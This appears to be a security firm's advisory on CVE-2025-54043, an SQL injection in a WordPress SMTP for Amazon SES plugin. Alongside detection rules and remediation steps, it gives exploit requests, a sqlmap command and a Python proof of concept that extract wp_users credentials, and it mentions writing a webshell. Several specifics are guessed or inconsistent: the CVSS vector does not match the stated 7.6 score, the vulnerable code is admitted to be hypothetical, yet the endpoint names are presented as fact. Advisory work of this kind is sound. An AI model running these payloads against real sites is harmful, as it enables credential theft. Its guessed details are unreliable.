CVE-2025-54043

Executive Summary

CVE-2025-54043 is a critical SQL Injection vulnerability in the YayCommerce SMTP for Amazon SES plugin (smtp-amazon-ses) for WordPress, affecting versions up to and including 1.9. The vulnerability arises from improper neutralization of special elements used in SQL commands, allowing unauthenticated attackers to execute arbitrary SQL queries against the WordPress database. With a CVSS score of 7.6, this flaw can lead to complete data exfiltration, credential theft, and potential remote code execution via SQL injection to file write capabilities. No public exploit code or patch is currently available, making this a high-priority zero-day for WordPress administrators.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Organizations using this plugin should immediately assess their exposure, as no patched version exists. The plugin is not available via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.6 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The high base score reflects the ease of exploitation (no authentication required) and the severe impact on all three security pillars. An attacker can extract the entire WordPress database, modify content, and potentially gain administrative access.

Deep Dive & Mechanics

The vulnerability exists in the plugin's database interaction layer, likely within functions that handle SMTP configuration or logging. The plugin fails to sanitize user-supplied input before incorporating it into SQL queries. For example, a parameter such as smtp_host or log_id might be directly concatenated into a SQL statement without parameterization.

Attack Vector: An unauthenticated attacker sends a crafted HTTP request to a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php with specific action parameters). The malicious input contains SQL metacharacters (e.g., single quotes, UNION, SELECT) that break out of the intended query structure.

Exploitation Flow:

1. Identify the vulnerable parameter via fuzzing or source code analysis.
2. Inject a payload like ' OR '1'='1' -- - to bypass authentication or extract data.
3. Use UNION-based SQL injection to retrieve sensitive data (e.g., wp_users table).
4. If the database user has FILE privileges, write a webshell to the web root.

Impact: Full database compromise, including user credentials, session tokens, and configuration data. In worst-case scenarios, this can lead to complete site takeover.

Vulnerable vs. Patched Code

Since no patch exists, the vulnerable code pattern is hypothesized based on common SQL injection flaws in WordPress plugins.

Vulnerable Code (PHP):

$log_id = $_GET['log_id'];
$query = "SELECT * FROM wp_smtp_logs WHERE id = $log_id";
$result = $wpdb->get_results($query);

Patched Code (Hypothetical):

$log_id = intval($_GET['log_id']);
$query = $wpdb->prepare("SELECT * FROM wp_smtp_logs WHERE id = %d", $log_id);
$result = $wpdb->get_results($query);

The patched version uses intval() to cast the input to an integer and $wpdb->prepare() for parameterized queries, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with SMTP for Amazon SES plugin <= 1.9
• Network access to the WordPress admin-ajax.php endpoint

Manual Exploitation:

1. Identify the vulnerable endpoint. Common actions include smtp_amazon_ses_log_view or smtp_amazon_ses_test.
2. Inject SQL payload via a GET or POST parameter. Example:

   GET /wp-admin/admin-ajax.php?action=smtp_amazon_ses_log_view&log_id=1 UNION SELECT user_login,user_pass,user_email FROM wp_users --
   

3. Parse the response for extracted data.

Automated Exploitation (sqlmap):

sqlmap -u "http://target/wp-admin/admin-ajax.php?action=smtp_amazon_ses_log_view&log_id=1" --batch --dbs

Proof-of-Concept (Python):

import requests

target = "http://target/wp-admin/admin-ajax.php"
params = {
    "action": "smtp_amazon_ses_log_view",
    "log_id": "1 UNION SELECT user_login,user_pass,user_email,user_nicename FROM wp_users -- -"
}
r = requests.get(target, params=params)
print(r.text)

Blue Team (Defensive)

Detection:

• Monitor for SQL injection patterns in HTTP requests to admin-ajax.php with action parameters related to SMTP.
• Look for unusual SQL keywords (UNION, SELECT, FROM) in GET/POST parameters.
• Alert on database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

Honeypot:

• Deploy a decoy WordPress instance with the vulnerable plugin to capture attacker behavior.

Lab Setup:

# Install WordPress and plugin
docker run -d --name wp -p 8080:80 wordpress:latest
docker exec wp wp plugin install smtp-amazon-ses --version=1.9

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /wp-admin/admin-ajax.php with parameters containing SQL keywords (UNION, SELECT, OR 1=1).
• Outbound database connections from the web server to unexpected IPs (data exfiltration).
• Unusual HTTP response sizes or database error messages.

File System IOCs:

• Unexpected PHP files in the web root (e.g., shell.php, cmd.php).
• Modified WordPress core files or plugin files.
• New entries in wp-config.php containing malicious code.

Database IOCs:

• Suspicious entries in wp_options (e.g., new admin users).
• Modified wp_users table (e.g., elevated privileges).
• Unusual SQL queries in database logs.

Detection Engineering

YARA Rule

rule CVE_2025_54043_SQLi_Detect {
    meta:
        description = "Detects SQL injection attempts targeting YayCommerce SMTP for Amazon SES plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54043"
    strings:
        $smtp_action = "smtp_amazon_ses" nocase
        $sql_keywords = /(UNION|SELECT|INSERT|DELETE|DROP|OR\s+\d+=\d+|--\s*-)/ nocase
    condition:
        $smtp_action and $sql_keywords
}

Sigma Rule

title: SQL Injection Attempt Against SMTP for Amazon SES Plugin
id: 8f4a2b1c-3d5e-4f7a-9b8c-1d2e3f4a5b6c
status: experimental
description: Detects SQL injection attempts in HTTP requests to the vulnerable plugin
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'action=smtp_amazon_ses'
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'OR 1=1'
        - '--'
    condition: selection and keywords
falsepositives:
    - Legitimate use of SQL keywords in non-malicious contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54043 SQL Injection Attempt"; flow:to_server; content:"action=smtp_amazon_ses"; http_uri; pcre:"/(UNION|SELECT|OR\s+\d+=\d+|--)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by YayCommerce.
2. Implement a Web Application Firewall (WAF) rule to block SQL injection patterns targeting admin-ajax.php with SMTP-related actions.
3. Restrict access to /wp-admin/ directory via IP whitelisting or VPN.

Long-term Fixes:

• Monitor the YayCommerce plugin page for an official patch.
• Consider migrating to an alternative SMTP plugin (e.g., WP Mail SMTP, Easy WP SMTP).
• Conduct a security audit of all WordPress plugins and remove unused ones.

Configuration Hardening:

• Ensure WordPress database user has minimal privileges (no FILE privilege).
• Enable query logging to detect suspicious SQL activity.
• Use a security plugin (e.g., Wordfence) with SQL injection detection.

Valters IT